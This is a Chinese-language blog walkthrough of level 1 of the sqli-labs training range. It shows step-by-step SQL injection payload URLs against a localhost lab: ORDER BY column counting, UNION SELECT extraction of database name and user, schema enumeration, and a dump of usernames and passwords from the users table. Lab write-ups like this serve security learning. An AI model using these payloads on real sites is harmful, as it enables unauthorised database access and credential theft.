SQL注入
第一关
首先我们进入靶场进入第一关
我们要进行sql注入,先得确定此网站的闭合点
在网址栏后+ /?id=1 回车
判断字段列数 order by
http://127.0.0.1/Less-1/?id=1' order by 1 --+ 页面正常 说明存在1列
http://127.0.0.1/Less-1/?id=1' order by 2 --+ 页面正常 说明存在2列
http://127.0.0.1/Less-1/?id=1' order by 3 --+ 页面正常 说明存在3列
http://127.0.0.1/Less-1/?id=1' order by 4 --+ 页面不正常 说明存在3列
联合查询 查当前数据库名,数据库版本,数据库用户
上面已经查出3列,那么联合查询3列
http://127.0.0.1/Less-1/?id=1' union select 1,2,3 --+ 页面显示的是id=1的数据,没有显示我们联合查询的数据,把人家前面查询的id的数据改成不存在的,比如-1
http://127.0.0.1/Less-1/?id=-1' union select 1,2,3 --+ 此时页面上出现了我们联合查询的回显点
http://127.0.0.1/Less-1/?id=-1' union select 1,database(),user() --+ 联合查询了数据库名和用户
联合查询 查出网站的数据库里面的所有表名
http://127.0.0.1/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
联合查询 查出users表里面的所有列
http://127.0.0.1/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
查询表中所有的数据
http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(id,username,password) from users --+
那么在此我们第一关的靶场就打完了(未完待续哦,小编会继续努力提升自己,并为大家带来更多更好的文章哦)。
标签:127.0,http,--+,Less,0.1,labs,sqli,攻略,id From: https://blog.csdn.net/Nai_zui_jiang/article/details/141200040